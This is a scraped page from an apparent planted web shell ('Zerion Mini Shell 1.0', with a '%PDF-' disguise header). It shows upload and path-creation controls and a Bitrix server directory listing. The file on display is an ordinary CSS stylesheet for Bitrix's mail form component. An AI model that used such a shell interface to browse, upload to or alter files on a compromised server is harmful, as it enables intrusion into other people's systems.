%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/bitrix/www/bitrix/components/bitrix/main.mail.form/templates/.default/
Upload File :
Create Path :
Current File : /home/bitrix/www/bitrix/components/bitrix/main.mail.form/templates/.default/style.css

.main-mail-form-border-bottom {
	border-bottom: 1px solid rgba(198,205,211,0.35);
}

.main-mail-form-wrapper {
	clear: both;
	background: #fff;
	padding: 0 20px;
	font: 13px "Helvetica Neue", Arial, Helvetica, sans-serif;
}

.main-mail-form-fields-wrapper {
	padding: 7px 0;
}

.main-mail-form-docs-wrapper {
	margin: 0 -20px;
	border-top: 1px solid rgba(198,205,211,0.35);
	background: rgba(235, 241, 244, 0.23);
	padding: 10px 20px;
}

.main-mail-form-fields-table {
	margin: 0;
	padding: 0;
	border: none;
	border-collapse: collapse;
	width: 100%;
}

.main-mail-form-fields-table-cell {
	padding: 7px 0;
}

.main-mail-form-fields-footer-cell {
	padding: 0;
}

.main-mail-form-field-title-cell {
	padding-right: 10px;
	color: #80868e;
	vertical-align: top;
	text-align: right;
	white-space: nowrap;
}

.main-mail-form-field-title,
.main-mail-form-field-spacer,
.main-mail-form-field-spacer-25 {
	display: inline-block;
	vertical-align: middle;
}

.main-mail-form-field-title-required .main-mail-form-field-title {
	font-weight: bold;
}

.main-mail-form-field-spacer {
	height: 38px;
}

.main-mail-form-field-spacer-25 {
	height: 25px;
}

.main-mail-form-field-value-cell {
	width: 100%;
	vertical-align: middle;
}

.main-mail-form-field-value-wrapper {
	position: relative;
	display: -webkit-box;
	display: -ms-flexbox;
	display: flex;
	-ms-flex-wrap: wrap;
	flex-wrap: wrap;
	box-sizing: border-box;
	background: #fff;
	border: 1px solid rgba(83,92,105,.2);
	border-radius: 2px;
	padding: 3px;
	min-height: 38px;
}

.main-mail-form-field-value-short .main-mail-form-field-value-wrapper {
	max-width: 480px;
}

.main-mail-form-field-value-rcpt .main-mail-form-field-value-wrapper {
	padding: 3px 0 0 3px;
}

.main-mail-form-field-value-menu-ext .main-mail-form-field-value-wrapper,
.main-mail-form-editor-wrapper.main-mail-form-field-value-menu-ext {
	margin-right: 24px;
}

.main-mail-form-field-value-menu-ext .main-mail-form-field-value-menu-ext-button {
	position: absolute;
	display: block;
	top: 0px;
	right: -30px;
	opacity: 0.6;
	cursor: pointer;
	transition: opacity .2s;
}

.main-mail-form-editor-wrapper .main-mail-form-field-value-menu-ext-button {
	right: -29px;
}

.main-mail-form-field-value-menu-ext .main-mail-form-field-value-menu-ext-button:before {
	content: ' ';
	display: block;
	margin: 16px 17px 16px 5px;
	width: 4px;
	height: 4px;
	background: #80868e;
	box-shadow: 6px 0 0 #80868e, 12px 0 0 #80868e;
	-webkit-border-radius: 50%;
	-moz-border-radius: 50%;
	border-radius: 50%;
}

.main-mail-form-field-value-menu-ext .main-mail-form-field-value-menu-ext-button:hover {
	opacity: 1;
}

.main-mail-form-field-value-menu-ext-content .popup-window-content {
	max-height: 360px;
	overflow-y: auto;
}

.main-mail-form-field-rcpt-value-wrapper {
	-webkit-box-flex: 1;
	-ms-flex: 1;
	flex: 1;
	padding-bottom: 3px;
	min-width: 160px;
}

.main-mail-form-field-value {
	position: relative;
	box-sizing: border-box;
	outline: none;
	border: none;
	padding: 0 5px;
	height: 30px;
	width: 100%;
	font: 15px/30px "Helvetica Neue", Arial, Helvetica, sans-serif;
	vertical-align: middle;
}

.main-mail-form-field-value::placeholder {
	font-size: 13px;
	color: #80868e;
}

.main-mail-form-field-rcpt-value {
	vertical-align: baseline;
}

.main-mail-form-field-from-icon {
	display: inline-block;
	margin: 0 5px 0 0;
	width: 23px;
	height: 23px;
	border-radius: 50%;
	background: #535c6a no-repeat center;
	background-image: url(data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSI0Ny4xODgiIGhlaWdodD0iNTQuMDYzIiB2aWV3Qm94PSIwIDAgNDcuMTg4IDU0LjA2MyI+PGRlZnM+PHN0eWxlPi5jbHMtMSB7IGZpbGw6ICNmZmY7IGZpbGwtcnVsZTogZXZlbm9kZDsgfTwvc3R5bGU+PC9kZWZzPjxwYXRoIGlkPSJTaGFwZV8yX2NvcHlfNCIgZGF0YS1uYW1lPSJTaGFwZSAyIGNvcHkgNCIgY2xhc3M9ImNscy0xIiBkPSJNNDcuMTggNTQuMDYyYzAtMy4yMTctMy42MS0xNi44MjYtMy42MS0xNi44MjYgMC0xLjk5LTIuNi00LjI2LTcuNzItNS41ODVhMTcuMzk0IDE3LjM5NCAwIDAgMS00Ljg4Ny0yLjIyM2MtLjMzLS4xODgtLjI4LTEuOTI1LS4yOC0xLjkyNWwtMS42NDgtLjI1YzAtLjE0Mi0uMTQtMi4yMjUtLjE0LTIuMjI1IDEuOTcyLS42NjMgMS43Ny00LjU3NCAxLjc3LTQuNTc0IDEuMjUyLjY5NSAyLjA2OC0yLjQgMi4wNjgtMi40IDEuNDgyLTQuMy0uNzM4LTQuMDQtLjczOC00LjA0YTI3LjA1IDI3LjA1IDAgMCAwIDAtNy45MThjLS45ODctOC43MDgtMTUuODQ3LTYuMzQ0LTE0LjA4NS0zLjUtNC4zNDMtLjgtMy4zNTIgOS4wODItMy4zNTIgOS4wODJsLjk0MiAyLjU2Yy0xLjg1IDEuMi0uNTY0IDIuNjUtLjUgNC4zMi4wOSAyLjQ2NiAxLjYgMS45NTUgMS42IDEuOTU1LjA5MyA0LjA3IDIuMSA0LjYgMi4xIDQuNi4zNzcgMi41NTYuMTQyIDIuMTIuMTQyIDIuMTJsLTEuNzg2LjIxN2E3LjEgNy4xIDAgMCAxLS4xNCAxLjczMmMtMi4xLjkzNi0yLjU1MyAxLjQ4NS00LjY0IDIuNC00LjAzMiAxLjc2Ny04LjQxNCA0LjA2NS05LjE5MyA3LjE2Uy0uMDEyIDU0LjA2LS4wMTIgNTQuMDZoNDcuMTl6Ii8+PC9zdmc+);
	background-size: 50%;
	vertical-align: middle;
}

.main-mail-form-field-value-menu {
	color: #525c69;
	cursor: pointer;
}

.main-mail-form-field-value-menu:after {
	content: "";
	display: inline-block;
	margin: -1px 0 0 5px;
	width: 0;
	height: 0;
	border-style: solid;
	border-width: 4px 4.5px 0 4.5px;
	border-color: rgba(82,92,105,.5) transparent transparent transparent;
	vertical-align: middle;
	-webkit-transition: border-color .3s;
	transition: border-color .3s;
}
.main-mail-form-field-value-menu:hover:after {
	border-color: rgba(82,92,105,1) transparent transparent transparent;
}

.main-mail-form-field-value-menu-content .popup-window-content {
	max-height: 360px;
	overflow-y: auto;
}

.main-mail-form-fields-buttons {
	text-align: right;
	font-size: 12px;
}

.main-mail-form-field-button {
	margin: 0 0 0 10px;
	color: #80868e;
	cursor: pointer;
	border-bottom: 1px dashed transparent;
	transition: border-bottom-color .1s linear;
}

.main-mail-form-field-button:hover {
	border-bottom-color: #80868e;
}

.main-mail-form-quote-button-wrapper {
	display: block;
	margin: 0 0 10px -10px;
	border-bottom: 1px solid rgba(198,205,211,0.25);
}

.main-mail-form-quote-button {
	display: inline-block;
	margin: 10px;
	height: 12px;
	width: 32px;
	background: #e2e3e5;
	color: #535c69;
	text-align: center;
	line-height: 5px;
	cursor: pointer;
}

.main-mail-form-footer-wrapper,
.main-mail-form-footer {
	box-sizing: border-box;
	padding: 10px 0;
}

.main-mail-form-footer {
	display: -webkit-box;
	display: -ms-flexbox;
	display: flex;
	-webkit-box-align: center;
	-ms-flex-align: center;
	align-items: center;
	-webkit-box-pack: justify;
	-ms-flex-pack: justify;
	justify-content: space-between;
	background: #fff;
}

.main-mail-form-footer-fixed {
	position: fixed;
	bottom: 0;
	z-index: 1500;
	padding: 10px 20px;
	box-shadow: 0 -4px 4px -2px rgba(0, 0, 0, .05);
	transform: translateY(0) !important;
	transition: transform .4s ease-in-out;
}

.main-mail-form-footer-fixed-hidden {
	transform: translateY(200%) !important;
}

.main-mail-form-error {
	margin: 20px 0 0 0;
	padding: 10px 18px;
	background: rgb(253,225,229);
	color: rgb(219,0,22);
	font-size: 13px;
}

.main-mail-form-editor-wrapper {
	position: relative;
}

.main-mail-form-drop-animation {
	-webkit-animation: mainMailFormDropKeyframes .2s linear forwards !important;
	animation: mainMailFormDropKeyframes .2s linear forwards !important;
}

.main-mail-form-rise-animation {
	-webkit-animation: mainMailFormRiseKeyframes .2s linear forwards !important;
	animation: mainMailFormRiseKeyframes .2s linear forwards !important;
}

.main-mail-form-hide-animation {
	-webkit-animation: mainMailFormHideKeyframes .2s linear forwards !important;
	animation: mainMailFormHideKeyframes .2s linear forwards !important;
}

@-webkit-keyframes mainMailFormDropKeyframes {
	0% {
		opacity: 0;
		-webkit-transform: translateY(-5px);
		transform: translateY(-5px);
	}
	100% {
		opacity: 1;
		-webkit-transform: none;
		transform: none;
	}
}

@keyframes mainMailFormDropKeyframes {
	0% {
		opacity: 0;
		-webkit-transform: translateY(-5px);
		transform: translateY(-5px);
	}
	100% {
		opacity: 1;
		-webkit-transform: none;
		transform: none;
	}
}

@-webkit-keyframes mainMailFormRiseKeyframes {
	0% {
		opacity: 0;
		-webkit-transform: translateY(5px);
		transform: translateY(5px);
	}
	100% {
		opacity: 1;
		-webkit-transform: none;
		transform: none;
	}
}

@keyframes mainMailFormRiseKeyframes {
	0% {
		opacity: 0;
		-webkit-transform: translateY(5px);
		transform: translateY(5px);
	}
	100% {
		opacity: 1;
		-webkit-transform: none;
		transform: none;
	}
}

@-webkit-keyframes mainMailFormHideKeyframes {
	0% {
		opacity: 1;
		-webkit-transform: none;
		transform: none;
	}
	100% {
		opacity: 0;
		-webkit-transform: translateY(-5px);
		transform: translateY(-5px);
	}
}

@keyframes mainMailFormHideKeyframes {
	0% {
		opacity: 1;
		-webkit-transform: none;
		transform: none;
	}
	100% {
		opacity: 0;
		-webkit-transform: translateY(-5px);
		transform: translateY(-5px);
	}
}

/* main.post.form + disk.uf.file hacks */
.main-mail-form-wrapper .main-mail-form-editor-wrapper .feed-add-post-form,
.main-mail-form-wrapper .main-mail-form-editor-wrapper .feed-add-post-text {
	margin: 0;
	padding: 0;
}

.main-mail-form-wrapper .main-mail-form-editor-wrapper .feed-add-post-form {
	margin: 0 0 5px 0;
	padding: 0;
}

.main-mail-form-wrapper .main-mail-form-editor-wrapper .feed-add-post-form-but-wrap {
	margin: 0 0 0 10px;
	padding: 0;
	border: none;
}

.main-mail-form-wrapper .main-mail-form-editor-wrapper .feed-add-post-form-but-more-open {
	display: none;
}

.main-mail-form-wrapper .main-mail-form-editor-wrapper .diskuf-selectdialog {
	margin: 5px 0 0 0;
	padding: 15px 0;
	border: none;
	border-top: 1px solid rgba(198,205,211,0.35);
}

.main-mail-form-wrapper .main-mail-form-editor-wrapper .diskuf-files-block {
	padding: 5px 0 0 5px;
}

.main-mail-form-editor .bxhtmled-button-bbcode {
	min-width: 24px;
	width: auto;
	text-align: center;
}
.main-mail-form-editor .bxhtmled-button-bbcode i {
	background: none;
}
.main-mail-form-editor .bxhtmled-button-bbcode:before {
	content: 'html';
	font-size: 10px;
	color: rgb(51, 66, 75);
}

.main-mail-form-wrapper .main-mail-form-editor-wrapper .feed-add-post-form {
	border-top: 1px solid transparent;
}

.main-mail-form-wrapper .main-mail-form-editor-wrapper.main-mail-form-editor-no-toolbar .feed-add-post-form {
	border-top: 1px solid rgba(198,205,211,0.35);
}

/* rcpt selector styles */
.feed-add-destination-link.main-mail-form-field-rcpt-add-link {
	font-family: inherit;
	font-size: inherit;
	line-height: 17px;
	margin-top: 6px;
	margin-right: 5px;
	margin-bottom: 9px;
}
.main-mail-form-field-rcpt-item,
.main-mail-form-field-rcpt-more-wrapper {
	margin: 0 3px 3px 0;
	vertical-align: middle;
}
.main-mail-form-wrapper .main-mail-form-field-rcpt-item .feed-add-post-destination,
.main-mail-form-wrapper .main-mail-form-field-rcpt-more-wrapper .feed-add-post-destination {
	margin: 0;
}
.feed-add-post-destination.main-mail-form-field-rcpt-item-more {
    background: #efefef;
    color: #808080;
	padding: 0 10px;
	cursor: pointer;
}

.menu-popup-right-icon {
	padding-right: 16px;
}
.menu-popup-item .main-mail-form-field-from-menu-delete-icon {
	position: absolute;
	top: 0;
	right: 0;
	height: 100%;
	width: 32px;
}

Zerion Mini Shell 1.0